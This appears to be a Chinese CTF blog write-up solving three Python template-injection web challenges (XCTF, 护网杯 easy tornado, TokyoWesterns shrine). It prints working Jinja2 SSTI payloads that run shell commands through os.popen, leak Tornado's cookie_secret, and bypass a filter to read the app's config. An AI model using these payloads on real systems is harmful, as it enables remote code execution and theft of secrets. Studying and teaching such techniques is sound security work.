0%

三道涉及Python模板注入的Web题

XCTF-Web_python_template_injection_web

题目地址

https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5408

网页截图

image-20200812105111805.png

参考资料

python模板注入: https://www.cnblogs.com/tr1ple/p/9415641.html

解题过程

  1. 尝试查看设置文件

    image-20200812105539957.png

  2. 构造payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
    {{ b['eval']('__import__("os").popen("ls").read()') }}
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}

    运行后找到了fl4g

    image-20200812110012007.png

  1. 修改payload,查看fl4g的内容

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
    {{ b['eval']('__import__("os").popen("cat fl4g").read()') }}
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}

    image-20200812110202856.png


护网杯2018-easyternado_web

题目描述

Tornado 框架

题目地址

https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5422

网页截图

image-20200812112214031.png

解题过程

  1. 查看文件

    /welcome.txt
    render

    /flag.txt
    flag in /fllllllllllllag

    /hints.txt
    md5(cookie_secret+md5(filename))

  • welcome.txt中提示render()函数
  • flag.txt中提示flag位于fllllllllllllag
  • hints.txt提示了filehash的加密方式
  1. 尝试不用filehash参数直接访问fllllllllllllag

image-20200812112636266.png

​ 刚才提示了render(),怀疑是python模板注入,对?msg=后的参数进行修改.

  • ?msg=123显示了123
  • ?msg={{1}}显示了1
  • ?msg={{1+1}}报错500
  • ?msg={{config.items()}}显示了Orz

​ 由此猜测,服务端屏蔽了运算,但文件属性依然可以访问.尝试访问ternado的配置文件,拿到了cookie_secret.
image-20200812113151016.png

  1. 按照hints.txt中的提示,将/fllllllllllllag转换为MD53bf9f6cf685a6dd8defadabfb41a03a1,在前面加上32db19e9-78c5-474c-9ec9-bb7157d96eea再次转换得到97065867013cdb5b7cb8f2178c841b39

    1. 提交,拿到flag

      image-20200812114236380.png


TokyoWesterns CTF-shrine_web

题目地址

https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5423&page=1

网页源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

解题思路

jinja模板注入,绕过ssti。

代码审计

  • 利用了Flask Web;
  • config['FLAG']中包含flag;
  • /shrine/目录下存在jinja模板执行;
  • safe_jinja()方法会将圆角括号替换为空字符;
  • configself的值会被设置为None

构造payload

  • jinja模板执行python命令;

  • 利用flask中的get_flashed_messages来获取回显;

  • 或者利用flask中的url_for重定向方法。

    payload1:/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

    payload2:/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

参考资料

-EOF-